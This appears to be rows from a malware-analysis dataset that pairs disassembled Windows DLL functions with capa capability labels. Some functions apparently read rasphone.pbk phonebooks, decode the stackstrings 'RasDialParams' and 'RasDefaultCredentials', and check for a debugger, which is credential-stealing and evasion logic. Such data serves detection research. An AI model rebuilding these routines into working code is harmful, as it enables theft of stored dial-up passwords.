joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004b7f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1011ed1c]
mov dword [ebp - 4], eax
jmp 0x1004b809
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1004b830
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1004b82e
call sub.KERNEL32.dll_GetLastError
jmp 0x1004b832
jmp 0x1004b800
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1004bcd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1011ed2c], eax
je 0x1004bcf4
mov eax, 0x10dd
jmp 0x1004be9c
cmp dword [0x1011ed30], 0
je 0x1004bd07
mov eax, dword [0x1011ed30]
jmp 0x1004be9c
cmp dword [ebp + 0xc], 0
jne 0x1004bd17
mov eax, 0x57
jmp 0x1004be9c
cmp dword [ebp + 8], 0
jne 0x1004bd27
mov eax, 6
jmp 0x1004be9c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1004bd50
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x1011ed30], ecx
mov edx, dword [ebp + 8]
mov dword [0x1011ed34], edx
mov eax, dword [ebp - 8]
jmp 0x1004be9c
push 0x18
call fcn.1004d3b0
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004bdab
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x1011ed30], ecx
cmp dword [ebp - 4], 0
je 0x1004bd9a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.100961a0
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x1011ed34], ecx
mov eax, dword [ebp - 8]
jmp 0x1004be9c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1004bcb0
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1004bcb0
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x1004bdeb
cmp dword [ebp - 0xc], 0x1e
jbe 0x1004be07
mov dword [ebp - 8], 9
cmp dword [0x1011ed24], 0
je 0x1004be02
jmp 0x1004bd79
jmp 0x1004bd70
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1004be2e
mov dword [ebp - 8], 9
cmp dword [0x1011ed24], 0
je 0x1004be29
jmp 0x1004bd79
jmp 0x1004bd70
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1004be59
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1004bd70
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x1011ed3c]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x1011ed3c], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x1004beb0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1011ed2c], eax
je 0x1004becd
mov eax, 0x10dd
jmp 0x1004bfb0
mov eax, dword [0x1011ed3c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1004bf4c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1004bf28
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1004bf28
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1004ad50
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.100961a0
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1004bed5
mov dword [0x1011ed3c], 0
call fcn.1004b630
mov ecx, dword [0x1011ed38]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1004bf9a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100961a0
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1004bf64
mov dword [0x1011ed38], 0
mov dword [0x1011ed2c], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1004c490
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1011ed30], 0
je 0x1004c4a9
mov eax, dword [0x1011ed30]
jmp 0x1004c548
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x1004c4ba
xor eax, eax
jmp 0x1004c548
push 8
call fcn.1004d3b0
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004c512
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1004c4fb
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.100961a0
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1011ed30], eax
mov dword [0x1011ed34], 0
mov eax, dword [ebp - 8]
jmp 0x1004c548
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1004c52a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1004c4da
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1011ed38]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1011ed38], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x10075a10
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
call fcn.1007b8a0
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10075a4e
cmp dword [ebp + 8], 0
je 0x10075a3c
lea eax, [ebp + 8]
push eax
call fcn.10075c10
add esp, 4
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10075a4e
mov eax, 4
jmp 0x10075b7e
call fcn.1007b6a0
movzx edx, al
test edx, edx
jne 0x10075a7c
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10075a6d
mov dword [ebp - 0xc], 4
jmp 0x10075a74
mov dword [ebp - 0xc], 3
mov eax, dword [ebp - 0xc]
jmp 0x10075b7e
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10075b25
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x10075bc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
lea ecx, [ebp - 8]
call fcn.10060890
lea ecx, [ebp - 8]
call fcn.10075c50
movzx edx, al
test edx, edx
jne 0x10075ae7
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 8]
call fcn.10075c30
mov eax, dword [ebp - 0x10]
jmp 0x10075b7e
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 8]
call fcn.10087eb0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
test eax, eax
je 0x10075b12
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 8]
call fcn.10075c30
mov eax, dword [ebp - 0x14]
jmp 0x10075b7e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 8]
call fcn.10075c30
mov eax, dword [ebp - 0x18]
jmp 0x10075b7e
call fcn.1007b7f0
movzx ecx, al
test ecx, ecx
jne 0x10075b5e
mov edx, dword [ebp + 0x10]
or edx, 0x200000
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.10075b90
add esp, 0x10
jmp 0x10075b7e
call fcn.1007b700
mov dword [ebp - 0x24], eax
lea ecx, [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.10075b90
add esp, 0x10
mov esp, ebp
pop ebp
ret

Function at 0x1007e7b0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1007e7d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10066ed0
add esp, 4
or eax, 0xffffffff
jmp 0x1007e7d9
xor eax, eax
pop ebp
ret
Function at 0x10085d6b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x10094090
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x1011f0b8], 1
jge 0x100940ff
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x100940d5
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x100940d5
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x100940b2
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100940eb
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x100940f2
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x100941ef
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x100941c0
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x100941b5
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x100941a9
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x100941b0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x100941ef
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x100941ea
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x100941d3
mov eax, dword [ebx + 8]
jmp 0x100941ef
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x100941e1
xor eax, eax
jmp 0x100941ef
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x1009411f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x10085d76
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10085907

Function at 0x10097f60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x10098640
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x1009867e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10098770
add esp, 4
push eax
lea ecx, [ebp - 0x10]
call fcn.10098f80
push 0x101174ac
lea edx, [ebp - 0x10]
push edx
call fcn.10051370
mov esp, ebp
pop ebp
ret
Function at 0x100011a0
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x10012ef0
nop
cmp byte [esi + 0x44], 0
je 0x100011f1
push dword [esi + 0x18]
call dword [0x10012e68]
push dword [esi + 0x18]
call dword [0x10012e64]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x18]
call dword [0x10012e7c]
add edi, 4
dec ebx
jne 0x100011ca
push dword [esi + 0x18]
call dword [0x10012e5c]
push 0xffffffffffffffff
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [esi + 0x45], 0
je 0x10001222
push dword [esi + 0x40]
call dword [0x10012e58]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x40]
call dword [0x10012e54]
add edi, 4
dec ebx
jne 0x10001206
push dword [esi + 0x40]
call dword [0x10012e60]
push 2
lea edi, [esi + 0x30]
pop ebx
push dword [edi - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi - 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x10001228
push dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x28]
call edi
push dword [esi + 0x2c]
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x10001269
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
nop
call dword [0x10012e88]
test eax, eax
je 0x100012ba
lea eax, [ebp - 4]
xor esi, esi
push eax
push 4
push edi
push 0x100013b7
push esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push esi
push dword [ebp - 4]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x46]
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [0x10012e8c]
test eax, eax
je 0x100012be
xor al, al
jmp 0x1000131f
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov eax, dword [esi]
and dword [eax + 0x10], 0
mov eax, dword [esi]
and dword [eax + 0x14], 0
push dword [esi]
push dword [ebx]
call dword [0x10012e90]
add esi, 4
dec dword [ebp - 8]
jne 0x100012c8
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x30]
push dword [ebx]
call dword [0x10012e70]
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebx]
call dword [0x10012e6c]
mov byte [edi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000276e
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
lea eax, [ebp - 0x11c]
xor edi, edi
push 0x105
mov esi, ecx
push eax
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea eax, [ebp - 0x11c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x11c]
push eax
call esi
lea eax, [ebp - 0x11c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call esi
push edi
lea eax, [ebp - 0x224]
push 0x23
push eax
push edi
call dword [0x10012d60]
lea eax, [ebp - 0x224]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x224]
push str._s_s
push eax
call dword [0x10012de0]
lea eax, [ebp - 0x11c]
mov esi, 0x1000
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x224]
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [ebp - 0x14]
add esp, 0x14
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 2
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push 0
push edi
call eax
mov eax, dword [ebp - 4]
add esp, 0xc
push dword [eax]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
cmp byte [edi], 0
mov ebx, edi
je 0x10002878
inc dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x10002863
add dword [ebp - 4], 4
dec dword [ebp - 0xc]
jne 0x1000282f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002b1f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
and byte [ebp - 3], 0
and byte [ebp - 0x16], 0
push esi
push edi
mov esi, ecx
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x70
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x21
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x23
mov byte [ebp - 4], 0x30
mov byte [ebp - 0x30], 0x4c
mov byte [ebp - 0x2f], 0x24
mov byte [ebp - 0x2e], 0x5f
mov byte [ebp - 0x2d], 0x52
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x44
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x75
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x43
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x23
mov byte [ebp - 0x17], 0x30
call fcn.10002890
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [0x10012de0]
add esp, 0xc
lea eax, [ebp - 0x130]
mov ecx, esi
push eax
call fcn.10002982
mov edi, eax
test edi, edi
je 0x10002c24
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.100029ec
push dword [edi + 4]
call fcn.1000a134
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.10002982
mov edi, eax
test edi, edi
je 0x10002c4b
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.100029ec
push dword [edi + 4]
call fcn.1000a134
pop edi
pop esi
leave
ret
Function at 0x100031ac
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.10005e25
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10003442
Capabilities:
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012f38
push 0x1000ff82
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 0x10011374
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100035a0
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003504
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003504
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100034df
cmp al, 0x5c
je 0x100034df
push esi
call dword [0x10012ddc]
mov esi, eax
jmp 0x100034c7
cmp byte [esi], 0
je 0x100034e8
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100034fd
cmp al, 0x5c
je 0x100034fd
push esi
call dword [0x10012ddc]
mov esi, eax
jmp 0x100034e5
cmp byte [esi], 0
je 0x10003523
jmp 0x1000351f
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003523
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003523
cmp al, 0x5c
jne 0x10003523
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x10003580
cmp al, 0x5c
jne 0x10003572
and byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x1000355b
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000356f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10003560
and eax, 0x10
cmp al, 0x10
je 0x1000356f
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x100035a4
mov byte [esi], 0x5c
push esi
call dword [0x10012ddc]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003526
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x100035a6
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4